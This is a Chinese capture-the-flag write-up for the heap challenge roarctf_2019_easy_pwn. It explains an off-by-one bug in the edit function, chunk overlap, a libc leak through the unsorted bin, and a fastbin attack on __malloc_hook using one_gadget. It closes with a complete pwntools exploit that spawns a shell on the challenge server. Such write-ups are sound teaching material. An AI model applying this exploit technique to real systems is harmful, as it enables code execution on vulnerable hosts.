roarctf_2019_easy_pwn

1.首先查看防护措施

1

好家伙直接拉满 (原地去世)

2.本地调试

2

常规的菜单布局

3.IDA静态分析

choice 1 : create()

3

chunk的size最大为4096,unk_202040+4*i = 1 表示chunk已经创建 unk_202044 + 4 *i 存放的chunk的大小 qword_202048[2 * i]存放chunk的地址

写出自动化交互函数

1
2
3
4
5
def create(size):
r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(size))

choice 2 : edit ()

4

最后return 是将v4字节大小的内容写入 qword_202048[ 2 * (int) v3 ] 对应的chunk地址

看一下决定v4的值的sub_E26函数

5

如果edit时输入的size大小比一开始申请的大小多10,那么会多写一字节,存在off - by - one,可以利用这一字节覆盖掉下一个chunk的size的值

写出自动化交互函数:

1
2
3
4
5
6
7
8
9
def edit(index,size,data):
r.recvuntil('choice: ')
r.sendline('2')
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.send(data)

choice 3 : free()

6

将记录chunk被创建的unk_202040 + 4 * v0置0 chunk大小置0 释放chunk再将指针置0

自动化交互函数:

1
2
3
4
5
def free(index):
r.recvuntil('choice: ')
r.sendline('3')
r.recvuntil('index:')
r.sendline(str(index))

choice 4 : show()

7

自动化交互函数:

1
2
3
4
5
def show(index):
r.recvuntil('choice: ')
r.sendline('4')
r.recvuntil('index:')
r.sendline(str(index))

大致思路:通过off-by-one构造重叠chunk,实现任意地址分配,然后劫持malloc_hook

我们选择利用unsorted bin去leak libc的地址

unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 , 所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。

先申请4个chunk 利用off-by-one修改chunk0将chunk1的size改为0x91,34是(0x18+10)来触发off-by-one漏洞的,然后编辑chunk2绕过检查

1
2
3
4
5
6
7
create(0x18)#idx0
create(0x10)#idx1
create(0x90)#idx2
create(0x10)#idx3

edit(0,34,'a'*0x10+p64(0x20)+p8(0x91))
edit(2,0x80,p64(0)*15+p64(0x21))

8

9

可以看到chunk1被当成了size = 160的一个chunk,接下来释放chunk1,再申请就会使chunk1和chunk2产生重叠部分

值得注意的是,申请方式是调用calloc函数,在申请时会导致数据清空,所以要修改chunk2的size

1
2
3
4
free(1)
create(0x90)

edit(1,0x20,p64(0)*3+p64(0xa1))

接下来释放chunk2,chunk2进入unsorted bin,再打印chunk1就leak出了main_arena + 0x58的地址,从而得到libc的基地址

1
2
3
4
free(2)
show(1)

libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78

10

可以看到chunk2的fd和bk指针都指向了地址 main_arena+0x58


接下来把chunk2申请回来,布置堆,实现fastbin attack去劫持__malloc_hook

1
2
3
4
create(0x80)
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

free(2)

在__malloc_hook附近寻找合适的用来伪造chunk的位置,一般来说7f这样的值比较容易被找到,所以前面布置堆的时候伪造chunk2的size = 0x70 free掉chunk2挂到0x70的fastbin 链上方便后续劫持 __malloc_hook

11

可以看到在&malloc_hook - 0x23的地方可以用来伪造chunk

12

此时的libc_base : 0x7f53e718a000

0x7f53e718a000 - 0x7f53e754eb10 - 0x23 = -0x3c4aed

接下来我们只需要edit chunk1

1
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(libc_base+0x3c4aed)+p64(0))

13

我们再申请两次0x60的chunk就可以修改malloc_hook了

1
2
3
create(0x60)
create(0x60)

看一下one_gadget

14

不过这里在malloc_hook中写入one_gadget后打不通,因为one_gadget的执行是需要一些条件的 这里参考这位师傅的文章

https://blog.csdn.net/Maxmalloc/article/details/102535427

1
2
3
4
one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]

edit(4,27,p8(0)*3+p64(8)+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+5))

接下来再malloc一次就拿到shell了

全部exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import * 

from time import sleep

context.log_level = "debug"



r = remote("node4.buuoj.cn",28349)

#r = process('./roarctf_2019_easy_pwn')

elf = ELF("./roarctf_2019_easy_pwn")

libc = ELF("./libc-2.23_64.so")



def create(size):

r.recvuntil('choice: ')

r.sendline('1')

r.recvuntil('size:')

r.sendline(str(size))



def edit(index,size,data):

r.recvuntil('choice: ')

r.sendline('2')

r.recvuntil('index:')

r.sendline(str(index))

r.recvuntil('size:')

r.sendline(str(size))

r.recvuntil('content:')

r.send(data)



def free(index):

r.recvuntil('choice: ')

r.sendline('3')

r.recvuntil('index:')

r.sendline(str(index))



def show(index):

r.recvuntil('choice: ')

r.sendline('4')

r.recvuntil('index:')

r.sendline(str(index))




create(0x18)#idx0

create(0x10)#idx1

create(0x90)#idx2

create(0x10)#idx3



edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one

#gdb.attach(r)


edit(2,0x80,p64(0)*15+p64(0x21))#by pass check

#gdb.attach(r)

free(1)

create(0x90)

edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

free(2)
show(1)


#r.recvuntil("content: ")

#r.recv(0x20)

#libc_base=u64(r.recv(6).ljust(8,"\x00"))-0x3c4b78



libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78

print ("libc_base:"+hex(libc_base))

create(0x80)
#gdb.attach(r)

edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

free(2)

#gdb.attach(r)


edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(libc_base+0x3c4aed)+p64(0))

#gdb.attach(r)

create(0x60)
create(0x60)#idx4

one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
realloc_hook=libc.symbols['realloc']
edit(4,27,p8(0)*3+p64(0)+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+0x5))
#gdb.attach(r)

create(0x60)

r.interactive()

15